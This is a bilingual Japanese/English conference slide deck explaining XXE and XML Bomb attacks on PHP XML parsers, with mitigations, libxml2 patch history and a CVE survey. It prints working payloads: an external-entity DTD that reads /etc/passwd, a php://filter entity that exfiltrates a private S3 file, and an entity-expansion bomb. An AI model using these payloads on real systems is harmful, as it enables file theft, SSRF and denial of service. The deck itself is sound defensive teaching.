XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

XML と PHP のイケナイ関係
(セキュリティ的な意味で)
-Introduction of XXE attack and XML Bomb with PHP-
(English subtitles are available!)
Kousuke Ebihara (海老原昂輔)
<kousuke@co3k.org>

• Kousuke Ebihara (海老原昂輔) a.k.a @co3k
• work at 株式会社手嶋屋
• a developer of OpenPNE
• coding, code-review, performance, security
• PHP カンファレンス初参戦
自己紹介
-Introduction-

XMLExtensible Markup Language
RSS / ATOM / XHTML / SVG /
OpenDocument / XLIFF / KML /
XSLT / SOAP / SAML / XUL /
OpenSearch ...
libxml2 is free software license (MIT license),
not JSON license :) (You can use for Evil)

意識調査
-PHPer Survey-
a)Do you know XML External Entity Injection (XXE)
and / or XML Entity Expansion (XML Bomb, Billion Laughs
Attack)?
b)Have you used XML-related extensions (PHP DOM,
SimpleXML, XMLReader, ...)?

意識調査
-PHPer Survey-
c) Have you used libxml_disable_entity_loader()?

• シンプルな RSS リーダ
A simple RSS Reader
• 任意の RSS / ATOM の URL を受け入れる
accepts any of URLs for RSS or ATOM feed
• 各エントリのタイトルを列挙するだけ
enumerates titles of per entries
• URL が HTTP プロトコルのものであること、サイズが 1MB 以内
であること、整形式の XML としてパースできることをチェックする
makes sure a protocol of the URL is HTTP, the contents can be parsed as well-formed XML
and its length is within 1 MB
デモの想定
-About demo script-

• You can get all of the code from : https://github.com/ebihara/phpcon2013-ja-
xxe-demo/blob/master/web/index.php#L85
パース部分のコード
-Parse-

• You can get all of the code from : https://github.com/ebihara/phpcon2013-ja-
xxe-demo/blob/master/template/success.twig
出力部分のコード
-Output-

普通のフィードを入力した場合
-A case of inputting normal RSS / ATOM feed-

攻撃用フィードその 1
-The exploit feed part 1-
• You can get this XML from : https://gist.github.com/ebihara/
0f2bbc55b5f7916545fe

攻撃用フィードを入力した場合
-A case of inputting the exploit feed part 1-

サーバ上の /etc/passwd の内容が！
A content of /etc/passwd on this server!

<!DOCTYPE feed [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>example</title>
<updated>2013-06-24T11:56:27+09:00</updated>
<id>example</id>
<entry>
<title>&passwd;</title>
<link href="http://example.com/" />
<id>http://example.com/1</id>
<summary>...</summary>
<author>
<name>example</name>
</author>
</entry>
</feed>
なぜ /etc/passwd が？
-Why was the content of /etc/passwd displayed?-

<!DOCTYPE feed [
]>
<id>example</id>
<entry>
<author>
</author>
</entry>
</feed>
nobody:*:-2:-2:Unprivileged User:/var/empty:/us..
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin..

<!DOCTYPE feed [
]>
<id>example</id>
<entry>
<author>
</author>
</entry>
</feed>
XML External Entity (XXE) Attack
nobody:*:-2:-2:Unprivileged User:/var/empty:/us..
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin..

復習: エンティティ
-REVIEW about Entity-
I &hearts; PHP

I ♥ PHP

I ♥ PHP
•エンティティの指す値は DTD (文書型定義) にて定義される
Entity-referenced value is defined in DTD
•エンティティ値の定義にはエンティティを含むことができる
Definition of entity value can contain entity
•URI の示す値をエンティティ値の定義に用いることができる (外部エンティティ宣言)
URI reference can be used in definition of entity value (External Entity Declaration)

外部エンティティ解決のフロー (概要)
-External Entity resolution flow (summaries)-

Parse XML

Parse XML
Parse DOCTYPE

Parse XML
Parse DOCTYPE
Parse ENTITY declarations

Parse XML
Parse DOCTYPE
Resolve external entities

Parse XML
Parse DOCTYPE
libxml2 entity loader
http://
local file

Parse XML
Parse DOCTYPE
libxml2 entity loader
http://
local file
PHP entity loader
file:// expect:// gopher:// php://

XXE の脅威 (概要)
-Threats of XXE (summaries)-
• ローカルファイルの漏洩
Disclosure of server local file
• いわゆる SSRF (Server Side Request Forgery) による脅威全般
• 認証をおこなわない API やプロトコルを経由した非公開情報の漏洩
Disclosure of private informations via non-authenticated API or protocol
• 内部ネットワークに対するポートスキャン
Port scanning to the internal network
• オープン済みファイルディスクリプタへのアクセス
Access to opened file descriptors
• syslog 等のログを汚染
Poisoning syslog

Amazon S3 の非公開ファイルにアクセスする
-DEMO: Access to private file in Amazon S3-
$s3 = S3Client::factory([
'key' => '*****',
'secret' => '*****',
);
$s3->registerStreamWrapper();
echo file_get_contents('s3://phpcon/ebihara-150x150.jpg');
s3:// スキームで Amazon S3 のコンテンツを取得可能に
Now we can fetch Amazon S3 content via s3:// scheme.

Amazon S3 の非公開ファイルにアクセスする
-DEMO: Access to private file in Amazon S3-
<!ENTITY kurorekishi SYSTEM
"php://filter/convert.base64-encode/
resource=s3://phpcon/ebihara-kaicho.jpg">
• S3 用のストリームラッパーを利用して非公開ファイルの内容を取得
Get private file content by using Amazon S3 Stream Wrapper
• エンティティ値を展開した後の文書全体を整形式の XML としてパースできるように
する必要があるので、そのままではバイナリ値は取得できない
Entity values are embedded as a part of XML document and it should be parsed as well-formed XML since we can’t
get raw binary data
• そのため、 PHP のストリームフィルタ機能を用いて base64 エンコードを施した上で
出力
So the above example outputs base64 encoded binary data by using PHP’s stream filter features

攻撃用フィードその 2
-The exploit feed part 2-
• You can get this XML from : https://gist.github.com/ebihara/
a653693e07f9795bc525

大量の CPU とメモリが消費される！
It consumes a lot of CPU and memory resources!

<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
**SNIP**
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-

<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
**SNIP**
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
XML Entity Expansion Attack
(XML Bomb)

XML Bomb の脅威
-Threats of XML Bomb-
•DoS

影響を受ける PHP 拡張
-Which PHP extensions are affected?-
• DOM
• SimpleXML
• XMLReader (but the default is safe :)
• SOAP (but fixed as CVE-2013-1635 :)
*NOTE: Oh, xml_parser(), is a legacy XML Parser funcion, is safe!! :) Because it
doesn’t use libxml2 to parse XMLs

脆弱な DOM 拡張の使用例
-An example of vulnerable code using DOM-
// vulnerable
$dom->load('/path/to/evil.xhtml');
$dom->loadXML('<?xml ...');
// safe
$dom->loadHTMLFile('/path/to/evil.xhtml');
$dom->loadHTML('<!DOCTYPE ...');

HTML5 with libxml2
• 現状の libxml2 は HTML5 をサポートしていない
The current version of libxml2 doesn’t support HTML5 yet
• HTML4 でサポートされていない要素や属性を用いたドキュメントを
DOMDocument::loadHTML() でパースすると警告が発生する
Warnings are occurred when DOMDocument::loadHTML() parses documents which have non-
HTML4 elements or attributes
• 警告を無視するか、 XXE への対策を入れて XML としてパースする
必要がある
So we need ignore such warnings or parse as XML with against XXE
See Also: PHP DOM (libxml2) only understands XHTML4, misinterprets HTML5, but D8 must cope with HTML5
[#1333730] | Drupal

脆弱な SimpleXML 拡張の使用例
-An example of vulnerable code using SimpleXML-
$xml = new SimpleXMLElement('<?xml ...');
$xml = new SimpleXMLElement('/path/to/evil.xml',
null, true);
$xml = simplexml_load_string('<?xml ...');
$xml = simplexml_load_file('/path/to/evil.xml');

脆弱な XMLReader 拡張の使用例
-An example of vulnerable code using XMLReader-
XMLReader 使用時に�SUBST_ENTITIES オプションを指
定しない限り XXE や XML Bomb の影響を受けない。
You can avoid XXE and XML Bomb to use XML Reader without
SUBST_ENTITIES option.
$xml = new XMLReader();
$xml->xml($content);
$xml->setParserProperty(
XMLReader::SUBST_ENTITIES
, true);

Wait, what version of
libxml2 on this demo?

Wait, what version of
libxml2 on this demo?
2008/04/08 にリリースされた
libxml 2.6 系の最終バージョンで、
とうの昔のバージョンだしサンプルと
しては適さない……？
The final version of libxml 2.6 series, is released 2008/04/08,
so this is very old and arbitrary example ... really?

• libxml 2.7.0 (2008/08/30)
• strengthen some of the internal parser limits ...
(https://git.gnome.org/browse/libxml2/commit/?id=8915c)
• libxml 2.7.3 (2009/01/18)
• XML_MAX_TEXT_LENGHT (sic) limiting the maximum
size of a single text node, the defaultis (sic) 10MB ...
(https://git.gnome.org/browse/libxml2/commit/?id=1fb2e)
History of
libxml2 vs XML Bomb

• libxml 2.9.0 (2012/09/11)
• Do not fetch external parsed entities ...
(https://git.gnome.org/browse/libxml2/commit/?id=4629e)
History of
libxml2 vs XXE

ディストリビューションの配布パッケージ
-Situations of distributions’ provided libxml2-
libxml 2.6
(XXE & XML Bomb)
libxml 2.7, 2.8
(XXE)
libxml 2.9
CentOS
Debian
Fedora
Ubuntu
5 6
Wheezy(stable)
Squeeze(old stable)
Sid (unstable)
19
18
10.04 (LTS)
12.04 (LTS)
12.10
13.04
13.10

ディストリビューションの配布パッケージ
-Situations of distributions’ provided libxml2-
libxml 2.6
(XXE & XML Bomb)
libxml 2.7, 2.8
(XXE)
libxml 2.9
CentOS
Debian
Fedora
Ubuntu
5 6
Wheezy(stable)
Squeeze(old stable)
Sid (unstable)
19
18
10.04 (LTS)
12.04 (LTS)
12.10
13.04
13.10
パッチによって
XML Bomb は
対策済
This XML Bomb vuln is
patched now in RHEL :)

ディストリビューション配布版 libxml2 と XXE
-Distributions’ libxml2 and XXE-
• CentOS (RHEL)
• I’ve confirmed fix XEE vuln in CentOS 6
• Ubuntu (Patched in Jul, 2013)
• Bug #1194410 “Apply upstream patch to close XXE vulnerability in...” : Bugs : “libxml2”
package : Ubuntu
• Debian (Patched in ... Mar, 2013?)
• I’ve NOT confirmed fix XEE vuln in stable (2.8.0+dfsg1-7+nmu1) and old-stable
• But ... it looks like that Debian project patched stable and old-stable (security)
in http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=702260

PHP 側でできる XML Bomb 対策
-Against XML Bomb in PHP script-

• 一応いくつか軽減策を選ぶことはできますが……
Okay, okay, you can choose some mitigations...
• DOCTYPE が含まれていた時点で拒否
Deny DOCTYPE
• ENTITY 読み込み部分を自力で取り除く
Remove ENTITY inclusion by your self
PHP 側でできる XML Bomb 対策
-Against XML Bomb in PHP script-

• libxml_disable_entity_loader(true)
• PHP 側で外部エンティティを解決するときにこれが true
であれば処理を終了する
The external entity loader in PHP does not continue its process if this argument
is true
PHP 側でできる XXE 対策
-Against XEE in PHP script-
$old = libxml_disable_entity_loader(true);
$xml = new SimpleXMLElement($content);
libxml_disable_entity_loader($old);

External Entity resolution flow after
libxml_disable_entity_loader(true)
Parse XML
Parse DOCTYPE
http://
PHP entity loader
file:// expect:// php://gopher://

External Entity resolution flow after
libxml_disable_entity_loader(true)
Parse XML
Parse DOCTYPE
http://
PHP entity loader
file:// expect:// php://
外部エンティティローダ
が無効なのでコンテンツ
が読み込めなくなった
External entity loader is disabled so it can not
load any contents
gopher://

• 【注意】 libxml_disable_entity_loader(true) は XML 「ファイル」を読
み込むことを期待した関数の動作も無効化します
WARN!!! libxml_disable_entity_loader(true) kills XML **file** loading functions!!!
(DOMDocument::load(), simplexml_load_file(), XMLReader::open())
• これらの関数は libxml2 の機能を使用して XML ファイルを読み込む
際にエンティティローダを流用しているため
Because they use the entity loader to load XML file in libxml2
• したがって、 libxml2 に依存した関数の外で事前に XML ファイルを
読み込んでおく必要があります
So you need to pre-load XML contents outside of libxml2 depended functions
PHP 側でできる XXE 対策
-Against XEE in PHP script-

• 海老原が所有しているセキュリティ関連書籍のうち、 XXE もしくは
XML Bomb に関する言及があるものを調査
• ただし、「特定の脆弱性 (XSS など) にテーマを絞った書籍」「セ
キュアコーディング手法がテーマではない書籍 (pentest 関
連、マネジメント手法などに関する書籍)」は調査対象から除外
• 索引と目次から XML, XXE, XEE, Billion Laughs などのキーワ
ードが見つからなかったものはその時点で「言及なし」とした
書籍での言及状況
(No English subtitles)

• 言及あり
• Paco Hope, Ben Walther 著『Web Security Testing Cookbook』, O’Reilly, 2008 年
• Michal Zalewski 著『めんどうくさい Web セキュリティ』翔泳社, 2012 年
• 言及なし
• マイケル・ハワード, デイビッド・ルブラン著『Writing Secure Code 第2版』日経BPソフトプレス, 2004 年
• GIJOE 著『PHP サイバーテロの技法』ソシム, 2005 年
• Robert C. Seacord 著『C/C++ セキュアコーディング』アスキー, 2006 年
• Chris Shiflett 著『入門 PHP セキュリティ』オライリー・ジャパン, 2006 年
• 大垣靖男著『Web アプリセキュリティ対策入門』技術評論社, 2006 年
• 金床著『ウェブアプリケーションセキュリティ』データハウス, 2007 年
• 佐名木智貴著『セキュア Web プログラミング Tips 集』ソフト・リサーチ・センター, 2008 年
• 徳丸浩著『体系的に学ぶ安全な Web アプリケーションの作り方』ソフトバンククリエイティブ, 2011 年
調査結果

• XML External Entity: PHP マニュアル (!)、 T.Terada さんの日記、 JVN などの各
製品のアドバイザリ
• XXE: ほぼ関係ない検索結果 (先の T.Terada さんの日記に対する徳丸さんのはて
ブが引っかかるくらい)
• XML Bomb: 数サイトで言及が見られた他は JVN などのアドバイザリのみ
• XML Entity Expansion: JVN などのアドバイザリのみ
• Billion Laughs: MSDN での言及が見られるほかはアドバイザリのみ
• XML Entity Explosion: 水無月ばけらさんの日記など、 Rails でこの問題が発見さ
れた際の言及がいくらか見られる程度
おしえて Google 先生！

XXE or XML Bomb in CVE
• Search CVEs by '"xml external entity" OR "xml entity expansion" OR "xml entity explosion" OR "xml bomb" OR
"billion laughs" OR "xxe" OR "xee" (And removed about XXE archive by my hand)
• And for 2013, I know that contains reserved CVE-2013-4333, CVE-2013-4334 and CVE-2013-4335 are XXE
Problem because I’m reporter of these problem, so I’ve added +3
0
5
10
15
20
2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013
17
14
6
1
3
2
00
1
0
11

History (2002, 2003)
• First report of XXE: http://
www.securityfocus.com/archive/1/297714
(Bugtraq, 2002/10)
• First report of XML Bomb: http://lists.xml.org/
archives/xml-dev/200302/msg00022.html ([xml-
dev], 2003/02)

History (2005-2011)
• 2005
Adobe Reader / Acrobat (CVE-2005-1306)
• 2008
Java (CVE-2008-0628), Ruby (CVE-2008-3790)
• 2009
WebKit (CVE-2009-1699), Adobe Reader / Acrobat
(CVE-2009-2979)
• 2011
Mac OS X (CVE-2011-0212), phpMyAdmin (CVE-2011-4107)

History (2012)
• OpenOffice(CVE-2012-0037), PostgreSQL(CVE-2012-3488),
ZendFramework(CVE-2012-3363, CVE-2012-5657, CVE-2012-6531, CVE-2012-6532),
Symfony(version 2.0.11, 2.0.17), CakePHP(CVE-2012-4399),
Nokogiri, CPAN XML::Atom(CVE-2012-1102 [reserved])
• PHDays 2012 -- ONsec PHDays 2012 XXE incapsulated
report

History (2013)
• PHP(CVE-2013-1643), Python(CVE-2013-1664, CVE-2013-1665),
Ruby(CVE-2013-1821), Ruby on Rails(CVE-2013-1856),
mod_security(CVE-2013-1915), MediaWiki, Play Framework
WordPress(CVE-2013-2202), Microsoft Office (CVE-2013-3160)
• And I reported the following (discovered):
OpenPNE(CVE-2013-4333, 2013-4334, 2013-4335)
PHP OpenID Library(CVE-2013-4701)

• XML のエンティティ解決に関わる処理が脆弱となりうる
• 利用側での対策は比較的楽なので、パーサや言語バインディング
側での対応が落ち着くまでは利用側での対策を推奨
• XXE の存在が徐々に広まりつつあり、これに伴いメジャーなソフトウ
ェアでの発見事例が増加している
• XXE と共に SSRF が注目されつつあり、積極的に攻撃手法も研究さ
れている状況なので注意が必要
• 特に任意のストリームラッパーを攻撃者が利用できるような状況は
危険
まとめ

• Vladimir Vorontsov, ONsec PHDays 2012 XXE incapsulated
report, 2012
• ONSec Lab, SSRF bible. Cheatsheet - Google Drive, 2013
• Pádraic Brady, Web Advent 2012 / The Three Ugly Sisters,
2012
• OWASP, XML External Entity (XXE) Processing - OWASP,
2012
• MediaWiki, XML External Entity Processing - MediaWiki, 2013
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